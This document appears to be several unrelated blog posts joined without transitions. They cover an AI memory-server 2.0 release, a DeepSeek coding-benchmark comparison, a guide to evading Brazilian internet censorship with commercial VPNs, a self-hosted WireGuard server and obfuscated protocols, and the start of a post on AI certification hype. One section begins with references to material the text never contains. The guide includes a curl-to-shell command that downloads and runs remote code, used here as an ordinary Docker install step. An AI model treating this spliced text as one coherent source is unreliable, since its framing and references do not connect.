If you’ve never heard of the project, the summary is short. ai-memory is a long-term memory server for your coding agents. It captures what happened in the session, consolidates it into Markdown pages, and hands the right context to the next agent, whatever the harness or the machine.

This is the web interface that comes with it, handy for auditing what the agents wrote and for browsing between projects. Notice how each project lives separately, with its own page count, all of it coming out of real sessions.

Why it became 2.0

For me, the first digit of a version carries a commitment.

The 1.x line grew too fast. We went from 1.1 to 1.39 in a little over two months, stacking feature on top of feature in minor releases. It worked for iterating, but it blurred what the numbers meant.

2.0 fixes that. It bundles the few compatibility-breaking changes into a single major, and from here on versioning follows real Semantic Versioning. A fix is a patch. A new feature is a minor. Only a format or contract break is a major, and always with warning. The new contributing guide spells that rule out for any PR.

The main break is the new on-disk format. The first time you bring up 2.0, it migrates your wiki on its own. Before touching anything, it compresses your entire data directory into a verified backup with the date in the name. If the backup can’t be written and checked, the migration aborts and the server refuses to start. No “trust me”.

This is the notice that shows up once, right after the migration: it tells you where the backup landed, the file size, and how to roll back if something looks off. Once you confirm everything is fine, you just delete the backup and the reminder disappears.

OKF: your memory isn’t locked inside ai-memory

This is the change that made me happiest.

Starting with 2.0, the ai-memory wiki is, natively, a bundle in the Open Knowledge Format, the open format Google published in 2026. Each memory page is a valid OKF file: plain Markdown with standardized metadata. There’s no export step that produces a divergent copy. The wiki files already are the OKF files.

In practice that means your memory stopped being a hostage of my project. You can read it all with grep, open it in Obsidian, version it in Git, or hand the bundle to a coworker who uses another OKF-compatible tool. There’s even an ai-memory export-okf to package a whole project into a validated tarball.

That was always the thesis: the model and the harness are rented, the project’s memory is yours. Now the format backs that up in writing.

Local embeddings, on by default

Up through 1.x, real semantic search depended on you configuring an embeddings provider. Either you paid for an API and sent every page and every query out, or you spun up an Ollama on the side. Both options have a cost.

2.0 brings a local provider that runs the embeddings model inside the process itself, in pure Rust, with all-MiniLM-L6-v2. No API key, no external server, no GPU, and nothing about your data leaving the box. And now it comes on by default. On the first run it downloads the model (about 87 MB, with a fixed checksum) in the background and turns on hybrid search at the next restart.

The gain is measurable. On the LongMemEval-S benchmark, hit@5 goes from 0.617 with full-text only to 0.779 with the local embeddings. If for some reason you don’t want it, an embedding_provider = "none" turns it off.

A detail that matters: I chose candle on purpose, instead of the native runtime the competition uses. That native layer is exactly what caused a recurring kind of crash in other memory projects. I preferred not to inherit the problem.

Several agents at once, on the same project

Here’s where the part that drove most of the work before 2.0 begins.

The ai-memory run case I showed in July was sequential: I close Claude, open Codex, keep going. But what about when I leave two or three harnesses open at the same time on the same project? Claude in one tab, Codex in another, OpenCode in a third.

ai-memory handles that without anyone stepping on anyone else. Each memory call figures out on its own which project it belongs to, from the session’s directory. The “current project” pointer is now per actor, so two harnesses in the same checkout each keep their own sense of context. And the project’s identity comes from the checkout name. The absolute path on disk doesn’t count, so the same project on the laptop and on the desktop lands in the same place.

When two windows write to the same page, the second doesn’t erase the first. It creates a new version that becomes the latest, and the previous one stays reachable in the version chain. Writing something identical doesn’t create a new version. Every write goes through a single writer, with a queue and backpressure, so a burst doesn’t corrupt anything.

This isn’t theory. There’s an acceptance test calling Claude, Codex, OpenCode, Pi, Crush, and a few others for real, inside a single workstream, covering leases, session adoption, and context handoff between harnesses.

A whole team on the same project

The second scenario is the one that gives the post its title. Here it’s several people, a whole team pointing their agents at the same server.

The way to run it is simple. Someone brings up a server, usually a container in a homelab or on a machine on the network, and each person points their agents at that URL. HTTPS goes in front with a reverse proxy, if you want. The database is still a single SQLite.

Everyone sees the same project pages. What one person learned in a session, the other’s agent recovers. And each new session gets a briefing with the project’s state right at the start. I’ll be honest about the term “real time”. What exists is a shared central store, with immediate reads, plus the briefing at the open. The note a coworker wrote shows up right away for anyone’s next query or next session. A session that’s already running only gets the news at the next query or the next open, with no interruption mid-flight.

What changes in multi-user mode is attribution. Each write records who did it. There’s an audit log and the interface shows “edited by so-and-so”. That comes in the box, for free. And there’s no per-page permission, on purpose. Attribution is there to record authorship; anyone authenticated can write, and the history is what keeps track of who did.

There’s an important security distinction between what’s shared and what’s personal. The pages belong to everyone. But the handoff is a baton with a single owner: exactly one session takes it, and a second accept doesn’t steal the baton from anyone. The handoff you left pending isn’t delivered to or consumed by a coworker. Likewise, the “what I’m working on right now” slots are per person, so your personal context doesn’t leak into the whole team’s briefing.

There’s also a battery of real concurrency tests covering these cases: simultaneous writes, per-actor isolation under load, the handoff baton that doesn’t get stolen, and the personal slots that don’t leak.

Where ai-memory stands against the competition

Before 2.0 we did another round of research on the 2026 landscape, documented in the repository. It was the basis for deciding what 2.0 needed to cover. Let me summarize the field.

There’s agentmemory, a TypeScript MCP server tied to a native sidecar and a giant surface of dozens of tools. There’s basic-memory, in Python, Markdown on disk, but with manual capture: you have to ask it to remember. There’s cognee, which combines graph, vector, and relational into a heavy pipeline that wants several gigs of RAM. There’s MemPalace, which went viral with almost 50,000 stars in two weeks over a benchmark number that, once audited, turned out to be inflated, on top of suffering corruption when two writes happen together. And there are the temporal graphs like Zep, the “memory OS” like Letta (the old MemGPT), and the fact extractors like Mem0.

There’s also the native memory that Claude Code itself started turning on by default. I treat that one as the funnel that introduces the category to people. As a competitor it stays limited: tied to one machine, tied to one agent, without real search and without team history.

2.0 closes the gaps the research pointed out. We started publishing a reproducible benchmark with LongMemEval, running the actual server. We got the open OKF format. We got typed links between pages, with causes, fixes, and contradicts, which also feed a contradiction check without spending an LLM. We got queries with as_of, to ask what we knew about a subject on a given date. We got the local embeddings. And we got an optional “experience” pass that reviews several sessions to find patterns that only show up across the set.

Now the part that matters for whoever’s choosing. What ai-memory has that the others don’t, all together:

• It follows you across agents. More than twenty harnesses feed a single memory, and the handoff here is a real protocol: typed, with an owner, and claimed exactly once.
• It follows you across machines. The memory lives on a server that’s yours. The project you dropped on the desktop is the one you pick back up on the laptop.
• It works for a team. Multi-user authentication, per-person attribution, and an audit log come in the box, for free.
• Your memory is plain Markdown. The source of truth is a wiki versioned in Git. The database is a derived index you can rebuild at any moment from the files, with no vector store to babysit and nothing trapped in a binary blob.
• It captures the work on its own, quietly. No “remember this” ceremony. And the default path runs with zero LLM calls.
• It’s a single binary. No sidecar, no three databases to sync. Every write goes through a single writer, with a write ceiling we actually measured, with a real test. That design is exactly what avoided the concurrent-write corruption that took the others down.

No competitor delivers this set. Some have one piece or another. ai-memory has the whole package, and now with parity on the items where it used to fall behind.

2.0 belongs to everyone

When I wrote the July post, fifteen people had a merged PR in the project. Today it’s around seventy. This stopped being a weekend project a long time ago.

The numbers up to 2.0: more than 1,500 commits, 371 merged pull requests, and 181 closed issues. That came from people actually using it and sending fixes, features, and documentation.

I have to give special thanks to Djalma Júnior, who on his own passed 50 merged PRs, and to Samir Hanna Verza, with more than 20. Right behind come lhzapata, pedrofjr, mrpaiva, lucasliet, lihuiyang1024, Murillofilho86, and Matheus Rodrigues. And there’s a long tail of dozens of other people with a merged PR that it would be unfair to try to list in full here.

If you want in on this, the contributing guide was rewritten to make everything clear: how to set up the environment, the gates the CI enforces, the CHANGELOG rule, and the versioning policy. A bug fix usually ships fast in the next patch. A small feature, like a new harness or provider, goes into the next minor. There are issues tagged for people just starting out.

How to get 2.0

The project page has every install method, including AUR, Homebrew, and release binaries:

• ai-memory on GitHub
• v2.0.0 release notes

After updating, on the first run let the migration take the backup and convert your wiki to the OKF format. If you use the managed mode, reinstall the hooks for the harnesses you plan to use.

Conclusion

1.x proved the idea worked. 2.0 is the version I’d recommend without an asterisk for someone else to put on a team.

The format is open, so your memory doesn’t get locked in. Semantic search runs local, so you don’t pay and you don’t leak. Several agents and several people work on the same project without running each other over. And the single-binary, single-writer design is what avoids exactly the problems that sank half the competition.

The LLM and the subscription I keep renting from whoever’s best that month. The project’s memory stays with me, with the team, and now in a format nobody can take away from me.

And every single time I publish one of these updates, without exception, someone shows up in the comments: “what about Deepseek?”

I confess I do not understand this blind focus on Deepseek. It is one open model among many, with nothing that sets it apart from the pack. In my daily use, I still prefer Kimi K3 or GLM 5.3. Yes, every iteration improves a little. Yes, I tested both new snapshots (Flash 0731 and Pro 0813) and the numbers are below. And even so, the answer stays the same: nobody there is in Fable 5 or Sol class.

What this score measures (and what it does not)

Before the numbers, the reminder that needs repeating every round. The benchmark tests a very specific slice: easy web programming. A Rails chat CRUD with streaming, tools, concurrency and tests. It is a useful test because it is concrete, reproducible and catches API hallucination red-handed, but it is still a narrow slice.

It says nothing about far more advanced tasks: kernel driver development, game engine optimization, real offensive security. Testing the entirety of a model is impossible. What you can test is a subset, and that is what I did.

So next time you read “Kimi is about to dethrone Fable” or “GLM is about to pass Sol” because the scores came out close, read it like this: within a narrow slice of web programming, any of these models delivers. That is all. A close score on this test means proximity on this test, nothing more.

Keep this: a benchmark measures a slice. Mine measures easy Rails web apps. Anyone extrapolating that into “model X beats model Y at everything” is reading the number wrong.

The Tier A ranking, with a focus on time

The usual table, A.1 cut (90 points or more), now with both Deepseeks in bold. This time, pay attention to the time column: same test, same three phases, for everyone.

Time is the wall clock of the three phases; cost is the API equivalent. Same criteria as the previous articles, linked at the end.

Look at the time spread. The fastest in the group finishes the test in 15 minutes; the slowest takes 155, ten times longer. Both Deepseeks sit in the lower half of the table for speed: 82 and 88 minutes, behind almost everyone in the same score range. The Flash, in particular, burned 44 million tokens in one run. For comparison, GLM 5.3 scored one point higher with 19.4 million. Deepseek makes up for it on the invoice: the Flash’s $0.82 is the cheapest Tier A run to date.

The new snapshots: what changed since July

I ran the July builds of v4 at the end of that month: Flash scored 80, Pro scored 82, both Tier B. Both dated snapshots (0731 and 0813) ran today under the same rigor, and both entered Tier A:

Flash 0731: from 80 to 90 (+10). The most visible improvement is behavioral. The July build pinned a model three generations old; this one got the pin right on the first try (anthropic/claude-sonnet-5, no stale slug). The self-review was exemplary: it found on its own that the streaming bubble partial was dead code (no assistant reply appeared until a forced reload through phases 1 and 2), confessed, fixed it and scored 15/15 on honesty. It lost points where the pack loses them: concurrency without a turn lock (8) and coverage without branch (8).

Pro 0813: from 82 to 91 (+9). The big news is what disappeared: the reasoning_content bug that broke its multi-turn on OpenCode, and that forced me to invent the deepclaude workaround back in May, was fixed in opencode 1.18.4, and this snapshot ran end to end on the generic harness, no crutches. The technical highlight was concurrency: a SQLite store with read-modify-write inside a BEGIN IMMEDIATE transaction, the most serious solution in the group on that dimension (9/10). The losses were honest and self-confessed: stale sonnet-4.6 pin, streaming verified by unit test only, no fallback token-budget estimator.

Clean, shielded runs, zero reads of the rubric or of anyone else’s app. The full reports are in the benchmark repository.

Deepseek against itself: the trajectory is real

Old and new criteria do not compare point for point, so this section is about behavior, not scores. And behavior you can compare, because the contrast is stark.

In April, DeepSeek V3.2 scored 43 under the old criteria and starred in the most embarrassing moment in the benchmark’s history: it invented the entire RubyLLM integration. RubyLLM::Client.new, client.chat(messages:), both methods hallucinated, the whole LLM layer fictional.

Still under the old criteria, v4 Flash scored 78 with a fatal one-character bug (the model slug missing the anthropic/ prefix), and v4 Pro DNF’d at 69: Tier 1 code, Tier 3 deliverables, taken down by the reasoning_content bug that ate the conversation history. That bug is what spawned the deepclaude hack, where the same Pro jumped to 89.

On v2, the July builds scored 80 and 82. Today’s snapshots, 90 and 91. From “invented the entire API” to “finds its own dead code and confesses it in self-review” in four months. Deepseek’s curve is one of the steepest this benchmark has ever recorded, and pretending otherwise would be dishonest.

And against the other Chinese models?

This is where the conversation gets less exciting for the cheering section. On the same generic harness (OpenCode), the Chinese pack looks like this:

And Kimi K3, absent from this table because it ran on its native harness, scored 95. In other words: within the same test, Deepseek v4 arrives behind GLM 5.3, Qwen 3.8 Max and the Kimis, while being the slowest and most verbose of the Chinese group. Its advantage is a single one, and it is real: price. $0.82 for a Tier A run is impressive, and the Pro at $5.01 undercuts almost everyone at the same score.

If your criterion is “maximum competence per dollar on simple web tasks”, the Flash 0731 deserves attention. If the criterion is the best model in the group, the answer is still Kimi K3 and GLM 5.3, same as last week.

Conclusion: stop asking

There, now there are numbers on the table. Deepseek v4 genuinely improved between July and August, both snapshots entered Tier A, the Pro got rid of the bug that demanded a harness workaround, and the Flash is the cheapest Tier A run I have ever executed. All of that is fact.

And none of it changes the picture. The leadership stays with Fable 5, Sonnet 5, Opus 5 and Sol; the first Chinese model in line is still Kimi K3, followed by GLM 5.3. Deepseek is one more competent model on a slice of easy tasks, with the virtue of being cheap and the defect of being verbose. Next time you feel the urge to comment “what about Deepseek?”, the answer is this article.

This article is the answer: a practical guide, from easiest to hardest, to keep your communication channels standing as the siege tightens. Because the siege is tightening, and you should understand its pace before picking your tools.

The track record: none of this is new

Anyone surprised by the Discord case was not paying attention. The Brazilian judiciary has been blocking communication services for over a decade, always steamrolling millions of innocent users to reach half a dozen suspects:

• WhatsApp, 2015 and 2016: blocked three times by lower-court judges, always because the company would not hand over conversations that, by design, it cannot read.
• Telegram, 2022 and 2023: suspended for two days by order of Justice Alexandre de Moraes in March 2022, and again by a federal judge in 2023. Migalhas has the full timeline.
• X/Twitter, 2024: the landmark. Nationwide suspension from August 30 to October 8, 40 days, by a single justice’s order. And here is the detail that matters for this guide: the decision included a fine of R$ 50,000 (~US$ 10,000) per day for any individual who accessed X through a VPN, an order for app stores to remove VPN apps (walked back hours later), and the Federal Police and Anatel (the telecom regulator) producing reports on who bypassed the block to support the fines.

Notice what happened there: for the first time, using a neutral privacy tool became, by itself, punishable conduct in Brazil. Nobody was fined in the end, but the infrastructure to fine people was built, tested and documented. And in 2026 Congress voted and the president signed a sentence enhancement for crimes committed with a VPN. The X precedent stopped being an exception and became repertoire.

Keep this: in the X case, the Brazilian state already treated VPN users as offenders, already tried to pull VPNs from app stores, and already requested reports on who bypassed the block. All of it documented, in court orders and public reports.

The endgame: the Chinese model

I have little doubt that very well-positioned people in government look at China’s Great Firewall with envy, not horror. And it is worth understanding what it is, because it defines the limit of the game.

The Firewall goes far beyond blocking websites. It is deep packet inspection (DPI) at national scale, running on the country’s internet backbone: all traffic is classified in real time, known VPN protocols are identified by their handshake shape and dropped, Tor is blocked by default, and only state-approved VPNs (meaning, with a backdoor) operate legally. Ordinary citizens caught using unauthorized VPNs get fined. And even when the traffic cannot be read, the metadata gives the game away: who talks to whom, when, for how long.

That is why the honest answer to “can you bypass a Firewall like that without being noticed?” is: no, not for an ordinary citizen. Against a state-level firewall of that caliber, no consumer tool makes you invisible. At best it makes you too expensive to be worth persecuting at scale. Anyone selling you total invisibility is lying.

The good news is that Brazil is nowhere near that point. Censorship rarely arrives all at once: it comes in steps, and each step has a matching defense. The rest of this guide is that staircase, step by step. The logic behind everything that follows is a single one: censorship is a matter of cost. Our job is to make blocking expensive, technically and politically, until mass deployment becomes impractical.

Keep this: against a complete state firewall, no tool makes you invisible, only too expensive to persecute at scale. The game is climbing your staircase before the censor climbs his.

Phase 1: Commercial VPN, the minimum everyone should have

Start with the obvious. A VPN (virtual private network) creates an encrypted tunnel between your device and a provider’s server. Your ISP (internet service provider) now sees only a scrambled flow going to a single address; the sites you visit see the VPN’s IP, not yours. I explain it in depth, with the networking theory underneath, in Akitando 126 (in Portuguese).

What a VPN does: hides your traffic from your ISP, swaps your exit IP, gets you out of geo-blocks and of court-ordered DNS/IP blocks. What it does not do:

• It does not make you anonymous. The VPN provider sees all your traffic in place of your ISP. You did not eliminate the watcher, you just picked a different watcher.
• It does not hide your identity if you paid by credit card. A credit card subscription ties the VPN account to your tax ID. If authorities show up at the provider with a court order, your name is there.
• It does not protect content past the tunnel. From the VPN exit to the final website, the web’s normal encryption (HTTPS) applies. The VPN is one leg of the path, not the whole path.

That said, for the early phases of the siege it does the job. My recommendations, in order:

• ProtonVPN: Switzerland, outside easy jurisdiction, open source and audited, a no-logs policy tested in court, a decent free tier, and it accepts payment even in cash by mail.
• Mullvad: Sweden, the most paranoid on the market: it does not even ask for an email, your account is a random number. Flat €5/month, accepts cash in an envelope and cryptocurrency. It is the closest thing to an “identity-less VPN” that exists as a commercial product.
• NordVPN and the like work technically, but their money goes more to marketing than to privacy posture. Among the big ones, I stick with the two above.

The limit of this phase is well known: the exit IPs of famous VPNs are public and catalogued. An order from ANPD or Anatel to national ISPs to block those ranges is technically trivial, and the X case showed that pulling the app from the store is also on the menu. When (not if) that happens, the commercial VPN dies in a day. That is why Phase 2 exists.

Keep this: a commercial VPN is a seatbelt: use it always, but know it depends on three things outside your control. The app staying in the store, the IPs staying unblocked, and the provider staying honest.

Phase 2: Self-hosted VPN, your own tunnel

The move here changes shape: instead of subscribing to a service with millions of users and catalogued IPs, you rent a cheap little server outside Brazil and build your personal VPN. There is no public list with your IP for the censors to download. You are one user on an unknown IP, indistinguishable from any other traffic until someone looks closely.

Picking the provider (and why not AWS, Azure or Google Cloud). The big clouds have huge, public, well-mapped IP ranges (ASNs). Blocking them wholesale is one line in a routing table; the only brake is collateral damage (plenty of legitimate Brazilian businesses live there), and other countries have paid that price in crises. Smaller providers dilute that target. Options I would consider, from mid-sized to small:

A US$ 3 to 5 machine with 1 GB of RAM is plenty for a personal VPN. Important caveat: paying for a VPS (virtual private server) with a credit card leaves a trail just like the commercial VPN: your name is in the provider’s records, and the provider can be legally compelled. Some accept cryptocurrency, which reduces (does not eliminate) the trail. For most people, at this phase, the signup risk is acceptable: you are not hiding from a named investigation, you are getting out of the aim of a mass block.

Step by step: WireGuard with wg-easy

I will use wg-easy, which packages WireGuard (the modern, fast, auditable VPN protocol) into a Docker container with a web panel and QR codes to set up your phone in seconds.

1. Rent the VPS. Ubuntu 24.04, the smallest machine available, in a region outside Brazil (Amsterdam, Frankfurt and Helsinki are classic choices for jurisdiction and acceptable latency).

2. Log in and update:

ssh root@YOUR_IP
apt update && apt upgrade -y

3. Install Docker:

curl -fsSL https://get.docker.com | sh

4. Generate the panel password hash (wg-easy does not accept a plaintext password; write down the password you choose):

docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw 'YourStrongPasswordHere'
# the output looks like: PASSWORD_HASH=$2b$12$abc...
# in the command below, double every dollar sign: $ becomes $$

5. Start the container:

docker run -d \
  --name=wg-easy \
  -e WG_HOST=YOUR_IP \
  -e PASSWORD_HASH='$$2b$$12$$abc...' \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \
  ghcr.io/wg-easy/wg-easy

6. Open the firewall. Port 51820/UDP is the tunnel itself. Port 51821/TCP is the panel: do not leave the panel exposed to the internet. The right way is to open it only through an SSH tunnel (ssh -L 51821:localhost:51821 root@YOUR_IP and browse to localhost:51821), or to open 51821 just long enough to create your clients and close it right after.

7. Create the clients. In the panel, one click generates a client with a QR code. Point the official WireGuard app (Android/iOS) camera at it and you are done. On a laptop, download the config file and import it into the WireGuard client.

Done: all of your device’s traffic exits through your European server. Your Brazilian ISP sees only a scrambled flow to some random IP in Germany.

And on your machine, how do you use it?

The server is half the story. On your device, the ritual goes like this:

On your phone (Android/iOS): install the official WireGuard app from the store (or from F-Droid on Android). Tap the "+", choose “Scan from QR code” and point it at the code the wg-easy panel showed. A new “tunnel” appears in the list: one tap on the switch and you are in. On iOS, enable “On-Demand” in the tunnel settings so it reconnects by itself when you switch networks (Wi-Fi to 4G, for instance).

On your laptop (Windows/macOS): download the official WireGuard client for your system, click “Import tunnel(s) from file” and select the .conf you downloaded from the panel. One click on “Activate” and done. Important detail: the official client has a “Block untunneled traffic” option (the kill switch): turn it on. If the tunnel drops, your internet stops instead of leaking through your real IP.

On Linux: copy the .conf to /etc/wireguard/wg0.conf and bring it up with sudo wg-quick up wg0 (plus sudo systemctl enable wg-quick@wg0 to start it at boot). Or import the file straight into NetworkManager through the graphical interface, if you prefer clicking to typing.

A complete client .conf, for reference, looks like this:

[Interface]
PrivateKey = <THIS device's private key>
Address = 10.10.0.2/32
DNS = 1.1.1.1

[Peer]
PublicKey = <server public key>
Endpoint = SERVER_IP:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25

Two details worth their weight in gold here. PersistentKeepalive = 25 keeps the tunnel alive when you are behind NAT (home network, 4G), preventing the connection from silently dying. And AllowedIPs = 0.0.0.0/0 is what pushes all traffic into the tunnel; without it, only traffic to the VPN’s own IPs goes out encrypted. (The DNS = line works fine on Windows, macOS and phones; on Linux with systemd-resolved it can get in the way, as I explain in the common mistakes below.)

Checking that it worked: with the tunnel active, run curl ifconfig.me in a terminal (or open ipleak.net in the browser). It must show your VPS IP, not your home one. If your network has IPv6, check separately with curl -4 ifconfig.me and curl -6 ifconfig.me: both must show the server. And visit dnsleaktest.com: DNS must exit through the tunnel too. If your ISP’s DNS server shows up, there is a leak to fix.

Minimum maintenance: enable unattended-upgrades so the system patches itself, use SSH keys instead of passwords, and install nothing else on that machine. Small surface, small risk.

The 2026 way to do this: let the AI configure it

If you got stuck on some step, remember it is 2026: you no longer need to master every command in this guide. I went down that path myself. I rented the VPS, handed the SSH access to the AI agent and asked for the full setup; on the other side, on my own machine, it imported the .conf, brought up wg-quick, enabled it at boot and checked for leaks at the end. Today my server is a reproducible Ansible playbook (kill the VPS, spin up another, run one command) and my laptop’s config follows the same pattern. All in private repositories, private on purpose: VPN configuration is not the sort of thing I want strangers peeking at.

Mine, running on my own Gitea: private, versioned, and the whole server comes back up with one command.

And if you are going to ask an AI to configure it, skip the generic “install me a VPN” and hand over the real requirements. Something like this:

Turn this fresh Ubuntu 24.04 VPS into a robust WireGuard server,
preferably through an idempotent Ansible playbook (I want to be able to
destroy the VPS and recreate everything by running one command).
Requirements:

- WireGuard managed by wg-quick@wg0, server key generated on the server
  itself (mode 0600), no exposed web panel
- Dual-stack tunnel: IPv4 and IPv6 (fd00::/64 ULA subnet with NAT66), so
  no traffic leaks outside on networks with native IPv6
- ufw denying everything except SSH and the WireGuard UDP port
- key-only sshd (no passwords), fail2ban on sshd, unattended-upgrades
  with no automatic reboot
- Peers declared as data in a config file: adding a client = adding one
  entry and running the playbook again
- Generate client .conf files with PersistentKeepalive=25, full-tunnel
  AllowedIPs and QR codes via qrencode
- At the end, print the verification commands (curl -4/-6 ifconfig.me,
  wg show)

Finally, hand me a short operations README: how to add a client, how to
update, when to reboot.

The difference between a “working” server and a solid one lives entirely in those requirements: dual-stack, closed firewall, passwordless sshd, peers as data, reproducibility. The technical barrier of this entire article has, in practice, become a conversation.

Common mistakes (and how to avoid them)

I keep seeing the same stumbles whenever someone sets up their first self-hosted VPN. All avoidable:

• Exposing the wg-easy panel to the internet. The number one classic mistake. The panel is the key to the vault: open on port 51821, any botnet scan finds it within hours. SSH tunnel always, open port never.
• Weak or recycled passwords on the panel and SSH. An entire VPN protected by changeme123 is worse than no VPN. And disable SSH password login for good (PasswordAuthentication no in sshd_config) once your key is set up.
• Thinking you are anonymous because the IP is “yours”. The VPS is in your name, paid with your card. It protects you from mass blocking, not from an investigation with your name on it. The wrong level of paranoia creates a false sense of security, which is worse than none.
• A VPS in Brazil or from a Brazilian company. I have seen people build a “privacy VPN” on a national provider. If the court order arrives in the same country, you did not leave the reach, you just changed shelves. Server abroad, jurisdiction abroad.
• Handing out access to half the world. Each extra person is one more device, one more usage pattern, one more mouth. Close family, fine; a 40-contact group, no. The more people on the same IP, the faster it lands on some list.
• Using the same machine for other things. Personal blog, Telegram bot, seedbox: all of that grows the attack surface and ties together identities you wanted separate. The VPN VPS is for the VPN only.
• Trusting without testing for leaks. After setting up, test: ipleak.net or dnsleaktest.com with the VPN on. If your real IP or your ISP’s DNS shows up, something is wrong, and this is the only way you find out.
• Forgetting IPv6. This one got even me: an IPv4-only tunnel on a network with native IPv6, and all the v6 traffic goes around the VPN, in the clear, without you noticing. Either the tunnel is dual-stack, or half of your traffic leaks. Test with curl -6 ifconfig.me.
• The DNS = line breaking the Linux client. On systemd-resolved systems (Ubuntu, Fedora and the like), wg-quick calls openresolv to write the DNS, openresolv refuses to touch the /etc/resolv.conf owned by systemd-resolved (“signature mismatch” error) and the whole interface fails to come up. If your system DNS already works fine, just remove the line: queries ride the tunnel anyway.
• Losing the printer, the NAS and the local network. With AllowedIPs = 0.0.0.0/0, even traffic inside your own home tries to go through the tunnel. The fix is a policy routing rule evaluated before WireGuard’s own rules: PostUp = ip rule add to 192.168.0.0/16 lookup main priority 1000 (plus the matching PostDown to undo it on shutdown).
• Chaining wg-quick down && up. down returns an error when the interface is already down, and with && the up never runs. Run up on its own.
• Installing and abandoning. A server without updates for a year is a server with known vulnerabilities. And test the connection from time to time: what works today can be fingerprinted tomorrow.
• No backup of the configuration. The ~/.wg-easy directory holds everything (keys, clients). Keep an encrypted local copy. If the VPS dies or gets shut down by the provider, you bring another one up in ten minutes instead of starting from zero.

Keep this: a US$ 5 VPS outside Brazil running WireGuard gets you out of any mass block based on catalogued IPs. The price is your signup record at the provider: acceptable against blocking, insufficient against a named investigation.

The invisible enemy: DPI

So far I have assumed the censor blocks addresses. Their next level is blocking formats, and that is where deep packet inspection (DPI) lives.

Even encrypted, a VPN tunnel has a signature. The initial handshake of WireGuard and OpenVPN has characteristic packet sizes, sequences and timings. The content is unreadable, but the shape screams “I am a VPN”. China does exactly this at national scale: it does not need to read your traffic, it only needs to recognize the protocol and drop the connection.

Keep this: the censor does not need to read your traffic to block you. Recognizing the tunnel’s shape is enough. That is why obfuscation exists.

The technical answer is obfuscation: making the tunnel look like something else.

• AmneziaWG: a WireGuard fork that injects junk packets and scrambles headers until the signature vanishes. Same audited WireGuard base, free apps for every platform, and it points at the same kind of VPS from Phase 2. If you set up wg-easy, migrating to Amnezia is the natural step when DPI arrives.
• udp2raw: wraps WireGuard’s UDP traffic inside fake TCP packets that look like an ordinary connection.
• Shadowsocks: born in China precisely for this, an encrypted proxy designed to have no recognizable signature.

Notice we are still talking about free tools and a US$ 5 VPS. The cost rises for the censor much faster than for you.

Phase 3: when even your VPS is not enough

If the scenario degrades to national DPI with protocol blocking, the game becomes heavy camouflage and redundancy. The real options, in order of effort:

Protocols that disguise themselves as ordinary HTTPS. The current state of the art is VLESS with Reality (from the Xray-core project): your traffic presents itself as a legitimate TLS 1.3 connection to a real, innocent website, with certificate, handshake and packet pattern indistinguishable from a normal visit. To block you, the censor would have to block the innocent site too, and the collateral damage is the defense. Trojan-Go follows a similar philosophy. Outline, from Jigsaw (Google), packages Shadowsocks with a friendly manager if you want to hand out access to family and friends.

Tor with bridges. Plain Tor is blocked by default in censoring countries, but obfs4 bridges and Snowflake were tailor-made for that scenario: Snowflake disguises your entry into the Tor network as an ordinary WebRTC video call. It is slow, forget streaming, but it is the hardest network to extinguish in existence, maintained precisely for journalists and activists in hostile countries.

Redundancy and rotation. Two or three cheap VPSs at different providers, with automatic failover. If one lands on a blacklist, you switch in minutes: new instance, new IP. Your cost: another US$ 5. The censor’s cost: find and block it again, every time.

Alternative access. Starlink and other satellite links leave the national ground infrastructure entirely. As long as they are not regulated as well, they are the physical last resort. And for extreme cases, the usual sneakernet: thumb drive, external disk, physical copies.

Client-side hygiene, valid in every phase:

• Kill switch on: if the tunnel drops, the device cuts the internet instead of leaking through your real IP.
• DNS leak protection: your DNS queries must go through the tunnel, otherwise your ISP keeps seeing every site you visit.
• WebRTC disabled in the browser (or use an extension): it leaks your real IP even with the VPN on.
• VPN on when needed, not always: a 24/7 usage pattern becomes a behavioral signature of its own.

And the usual honest notes: running your own server for personal use is legal; using it to commit crimes is not. And since 2026, with the new sentence enhancement, “using a VPN” weighs on the sentence of any crime you would commit anyway. Keep the surface small, test your connectivity from inside Brazil regularly (what works today can be fingerprinted tomorrow), have a plan B (a second VPS, a Tor profile with bridges) and keep offline copies of everything critical.

Realistic assessment: no solution is permanent against a determined, well-funded censor. The goal here is different: make mass blocking expensive until it becomes a bad deal, technically and politically. A country that needs to take down half of the legitimate internet to silence half a dozen voices has a public relations problem, not a technology one. That cost is where we place our bet.

Keep this: the staircase is commercial VPN, then your own VPN, then obfuscated protocol, then Tor with bridges, then satellite. Each step raises your cost a little and the censor’s a lot. Start climbing before you need to.

Conclusion

The Brazilian pattern is what I called censorship by accumulation: no single step looks like the end of the world, and each comes with its little plaque of good intentions. But blocking infrastructure, once built, has no moral owner: it serves today’s government and tomorrow’s, against today’s target and against you.

Free communication infrastructure works exactly the same: also built by accumulation, also brick by brick. A commercial VPN configured today. Your own VPS tomorrow. An obfuscated protocol in the drawer for when it is needed. None of this is paranoia. It works like backups: you do not wait for the disk to fail before starting.

And if you want to follow this frontier closely, a personal recommendation: follow Ayub. He is the best source on internet infrastructure and state censorship in Brazil today. He was the one who sounded the alarm about the VPN criminalization in bill PL 3066/2025 months before it became law. And in recent days he has been covering two things the mainstream press barely touched: the handover of over R$ 100 billion in public networks, ducts and federal properties to the carriers and BTG Pactual, and the technical apparatus of the new Marco Civil regulation, which according to him gave Anatel remote access to ISPs’ edge routers. He posts in Portuguese, but your browser’s translator handles it. Required reading to understand where the next step of the staircase comes from.

The best time to build your tunnel was before you needed it. The second best time is now.

I posted this tweet this morning and it struck a nerve. The full point: when the technology itself becomes a commodity, the money migrates to taxonomy. They invent five new names for chaining API calls and suddenly there’s a certification that expires in six months.

Let me back up the provocation properly, because it’s not a gratuitous jab.

Let me preempt the standard comment: “but it works for me.” Good for you — honestly. Except “it works for me” never proved the ceremony is what made it work. What made it work is you knowing what you wanted. The ceremony just happened to be in the room.

My receipt

Between January and May I ran an AI marathon and published over 30 public repositories. There are tools I use every day — ai-memory, ai-usagebar, ai-jail — and personal apps built to scratch my own itch: Frank Manga+, Frank Scanlation, Frank Geary, and so on.

